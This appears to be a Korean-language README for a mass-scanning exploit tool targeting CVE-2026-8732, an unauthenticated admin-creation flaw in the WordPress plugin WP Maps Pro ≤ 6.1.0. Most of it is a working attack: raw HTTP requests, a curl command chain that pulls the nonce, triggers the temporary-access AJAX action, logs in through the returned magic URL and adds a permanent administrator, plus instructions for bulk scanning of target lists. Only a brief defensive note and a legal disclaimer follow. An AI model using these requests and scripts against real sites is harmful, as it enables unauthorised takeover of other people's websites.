
CVE-2026-8732를 위한 자동화된 8단계 익스플로잇입니다. 이는 WP Maps Pro ≤ 6.1.0에서 인증되지 않은 권한 상승 취약점입니다. 멀티프로세싱과 asyncio를 사용하여 대상을 스캔하고, nonce를 추출하며, 관리자 계정을 생성합니다.
WordPress 플러그인 WP Maps Pro 버전 ≤ 6.1.0에는 인증되지 않은 권한 상승 취약점이 있습니다. 자격 증명 없이도 공격자는 관리자 계정을 만들고 사이트를 장악할 수 있습니다.
이 취약점은 FlipperCode 벤더의 지원 팀을 위해 설계된 "임시 접근(Temporary Access)" 기능에서 비롯되었지만, 적절한 보호 없이 공개적으로 노출되었습니다.
| 정보 | 세부 사항 |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (심각) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 플러그인 | WP Maps Pro (wp-google-map-gold) |
| 벤더 | FlipperCode |
| 영향받는 버전 | ≤ 6.1.0 |
| 패치된 버전 | 6.1.1 |
| 유형 | 중요 함수에 대한 인증 누락 (CWE-306) |
| 영향 | 인증 없이 관리자 생성 → 사이트 전체 제어 |
| PoC 작성자 | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ 취약점 1 — 인증 없이 노출된 엔드포인트 │
│ ▸ AJAX 액션이 wp_ajax_nopriv_로 등록됨 │
│ ▸ 누구나 로그인 없이 접근 가능 │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ 취약점 2 — 공개 페이지에서 난스(nonce) 유출 │
│ ▸ wpgmp_local.nonce 객체가 모든 페이지에 포함됨 │
│ ▸ 공격자가 HTML 소스에서 난스 추출 가능 │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ 취약점 3 — 접근 권한 검사 없음 │
│ ▸ 콜백 함수는 난스만 확인함 │
│ ▸ current_user_can() 없음 — 추가 방어 수단 없음 │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ 1단계 │──▶│ 2단계 │──▶│ 3단계 │──▶│ 4단계 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ 취약함
▼
┌──────────────────────────────────────────────────────────┐
│ 5단계 — 난스 추출 │
│ │
│ 그룹 A (API) 그룹 B (콘텐츠) 그룹 C │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Homepage links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom feed Force │
│ │
│ 대상: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ 난스 발견됨
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 6단계 │──▶│ 7단계 │──▶│ 8단계 │
│ EXPLOIT │ │ VERIFY │ │ ADD ADMIN│
│ POST AJAX│ │ Magic URL│ │ PERMANEN │
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ WP-Admin │
│ temp=false│ │ check │ │ Form │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ 관리자 생성 완료
로그인: wp_xxxx / pass
역할: administrator
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<추출된_난스>
check_temp=false
취약한 경우 응답:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
이 매직 URL은 자동 로그인을 제공하며,
fc_user_XXXXX(역할: administrator)로 로그인됩니다.
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- 핵심: 약한 비밀번호 확인
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
중요:
pw_weak=1을 반드시 포함해야 합니다 — 이 매개변수가 없으면 WordPress가 약한 비밀번호를 거부합니다.
CVE-2026-8732.py
│
├── 📦 NonceFinder — 7가지 방법으로 난스 검색
│ ├── 그룹 A (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── 그룹 B (콘텐츠): M4 Sitemap, M5 Homepage links, M6 RSS feed
│ └── 그룹 C (강제): M7 Slug brute force (30+ 일반 slug)
│
├── ⚔️ Exploiter — 8단계 익스플로잇 엔진
│ ├── resolve() → 1단계: 프로토콜 선택
│ ├── check_wp() → 2단계: WordPress 확인
│ ├── detect_plugin() → 3단계: 플러그인 탐지 + 조기 난스
│ ├── detect_version() → 4단계: 버전 탐지 + WAF
│ ├── exploit() → 6단계: 핵심 익스플로잇
│ ├── verify() → 7단계: 관리자 로그인 확인
│ └── add_admin() → 8단계: 영구 관리자 추가
│
├── 🔧 Worker Process — 멀티프로세싱 작업 프로세스
│ ├── producer() → mp.Queue에서 도메인 읽기
│ └── consumer() (N) → 병렬 스캔 실행
│
└── 🖥️ Scanner — 사용자 인터페이스
├── single() → 단일 대상 모드 (대화형)
└── multi() → 다중 대상 모드 (대량)
targets.txt mp.Queue (작업) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ domain1 │───▶│ domain queue │───▶│ internal queue │
│ domain2 │ │ (IPC between │ │ (per process) │
│ domain3 │ │ processes) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ 소비자 (N) │
│ Exploiter.scan() │
│ 8단계 전체 │
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (결과) │──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] 모드 선택:
1. Single Target
2. Multi Target (파일 목록)
> 1
[?] 대상 도메인 (http/https 없이): target.com
[?] 타임아웃 [기본값: 15]: 15
python3 CVE-2026-8732.py
[?] 모드 선택:
1. Single Target
2. Multi Target (파일 목록)
> 2
[?] 대상 파일 경로 (.txt): targets.txt
[?] 프로세스 수 [기본값: 10]: 10
[?] 프로세스당 동시성 [기본값: 50]: 50
[?] 요청당 타임아웃 [기본값: 10]: 10
[?] 출력 파일 [기본값: vuln.txt]: vuln.txt
[?] 디버그 모드? (y/n) [기본값: n]: y
# 1단계: 프론트엔드 페이지에서 난스 추출
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"
# 2단계: 익스플로잇 페이로드 전송
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"
# 3단계: 매직 URL에 접근하여 관리자로 로그인
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"
# 4단계: 관리자 접근 확인
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'
# 5단계: REST API 또는 WP-Admin 폼을 통해 영구 관리자 생성
다음 두 조건이 모두 충족되는 경우에만 관리자가 생성됩니다:
┌───────────────┐ ┌───────────────┐
│ 조건 1 │ AND│ 조건 2 │
│ 버전 ≤6.1.0 │ │ GOLD 활성 │
│ │ │ │
└───────┬───────┘ └───────┬───────┘
│ │
▼ ▼
nopriv 액션 WPGMP_Temp_
여전히 등록됨 Access 사용 가능
│ │
└────────┬─────────┘
▼
✅ 관리자 생성 완료
| 조건 실패 시 | 결과 |
|---|---|
| 버전 ≥ 6.1.1 | ❌ 패치됨 — wp_ajax_nopriv_ 액션 제거됨 |
| GOLD 비활성 | ⚠️ PHP 오류 — WPGMP_Temp_Access 클래스 없음 |
CVE-2026-8732/
├── CVE-2026-8732.py # 자동 익스플로잇 스크립트
├── README.md # 프로젝트 문서 (이 파일)
└── LICENSE # MIT 라이선스
WP Maps Pro를 사용하는 사이트 소유자라면:
admin-ajax.php로의 POST 차단MIT License
Copyright (c) 2026 XENON1337
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
이 도구는 합법적인 사용만을 위한 것입니다. 소유 중이거나 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 허가 없이 사용하는 것은 불법이며 비윤리적입니다. 작성자는 이 도구의 오용에 대해 책임을 지지 않습니다.
제작: XENON1337
| 단계 | 이름 | 기능 | 요청 수 |
|---|
| 1 | Resolve | 병렬로 HTTPS/HTTP 선택 | 1 |
| 2 | Check WP | 대상이 WordPress인지 확인 | 0 |
| 3 | Detect Plugin | 3개 계층에서 WP Maps 지표 확인 | 0-4 |
| 4 | Version + WAF | readme.txt / CSS ?ver= 읽기 + WAF 탐지 | 1 |
| 5 | Ekstraksi Nonce | 3개 그룹으로 7가지 검색 방법 병렬 수행 | 0-150 |
| 6 | Eksploitasi | admin-ajax.php POST → 임시 관리자 계정 생성 | 1 |
| 7 | Verifikasi | 매직 URL 접근 → 관리자 세션 확인 | 2 |
| 8 | Tambah Admin | REST API (주) + WP-Admin form (보조) | 4 |
| 구성 요소 | 기술 | 기능 |
|---|
| HTTP 클라이언트 | aiohttp | 연결 풀링을 사용한 비동기 HTTP 요청 |
| 병렬 처리 | asyncio + multiprocessing | 다중 프로세스 + 프로세스당 async |
| IPC 대기열 | mp.Queue | 메인 프로세스와 작업자 간 통신 |
| 쿠키 | CookieJar(unsafe=True) | 교차 도메인 리디렉션 처리 |
| 타임아웃 | asyncio.wait_for | 대상당 시간 제한 (25초) |